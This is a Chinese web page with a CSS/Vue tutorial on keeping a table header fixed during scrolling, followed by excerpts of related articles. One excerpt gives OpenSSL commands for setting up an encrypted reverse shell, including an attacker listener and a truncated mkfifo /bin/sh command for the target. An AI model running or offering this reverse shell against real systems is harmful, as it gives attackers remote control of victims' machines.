table 滚动时固定表头

news/2024/7/10 0:47:15 标签: 前端, javascript, vue

表格内容过多时,仅滚动数据,表头不动

  table {
    height: 100%;
    overflow: auto;
    table-layout: fixed;
    display: block;

    & > thead {
      position: sticky;
      top: 0;
      left: 0;
      right: 0;
      display: table;
      width: 100%;
      table-layout: fixed;
      z-index: 1;
    }

    & > tbody {
      display: table;
      width: 100%;
      table-layout: fixed;
    }
  }

 表格html:

<table>
  <thead>
    <tr>
      <th width="50px"></th>
      <!--表头-->
    </tr>
  </thead>
  <tbody>
    <tr v-if="tableData.length">
      <td width="50px"></td>
      <!--表内容-->
    </tr>
    <tr v-else>
      <td colspan="5" style="text-align: center;">暂无数据</td>
    </tr>
  </tbody>
</table>


http://www.niftyadmin.cn/n/5083352.html

相关文章

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

如何逐步掌握STM32开发技巧?

第一步&#xff1a;建立开发环境 选择Keil MDK等开发环境&#xff0c;根据芯片型号安装相应库。 第二步&#xff1a;备齐开发板和资料 选择最小系统板&#xff0c;可自行搭建外围电路&#xff0c;更深入了解硬件。 第三步&#xff1a;了解STM32 观看视频教程&#xff0c;快速…

2023牛客OI赛前集训营-提高组(第三场)C.分糖果

2023牛客OI赛前集训营-提高组&#xff08;第三场&#xff09;C.分糖果 文章目录 2023牛客OI赛前集训营-提高组&#xff08;第三场&#xff09;C.分糖果题目大意做法对于 30 p t s 30pts 30pts对于 20 p t s 20pts 20pts 对于 100 p t s 100pts 100pts C-分糖果_2023牛客OI赛…

Flink中jobmanager、taskmanager、slot、task、subtask、Parallelism的概念

场景 一个工厂有三个车间每个车间两条生产线 生产流程如下 原料->加工->过滤->分类->美化->包装->下线 JobManager&#xff1a;工厂 在上述场景中&#xff0c;工厂就是jobManager&#xff0c;负责协调、调度和监控整个生产过程 TaskManager&#xff1a;车间…

如何处理前端安全性问题(XSS、CSRF等)?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

Flutter中的StreamBuilder和FutureBuilder有什么区别

流行的跨平台框架 Flutter 为开发人员提供了两个强大的小部件来处理异步操作&#xff1a;StreamBuilder 和 FutureBuilder。尽管它们有相似之处&#xff0c;但了解它们的不同之处&#xff0c;以便为您的特定用例选择合适的一个是至关重要的。在这篇博文中&#xff0c;我们将深入…

自己在家给电脑重装系统Win10教程

自己在家怎么给电脑重装系统Win10&#xff1f;Win10电脑系统如果操作时间特别长了&#xff0c;就可能出现卡顿、蓝屏等系统问题&#xff0c;这时候用户就想给电脑重装系统&#xff0c;却不知道重装具体的操作步骤&#xff0c;下面小编给大家详细介绍自己在家给电脑重装Win10系统…

认识 AIGC ,浅淡 AIGC 的那些事—— AIGC:用 AI 创造万物

文章目录 &#x1f3a8;关于封面&#x1f525;关于活动&#x1f4cb;前言&#x1f3af;什么是 AIGC &#xff1f;&#x1f9e9;AIGC&#xff1a;用 AI 创造万物&#x1f9e9;AIGC 的意义与发展 &#x1f3af;AIGC 的发展历程&#x1f9e9;人工智能生成内容的发展历程与概念&…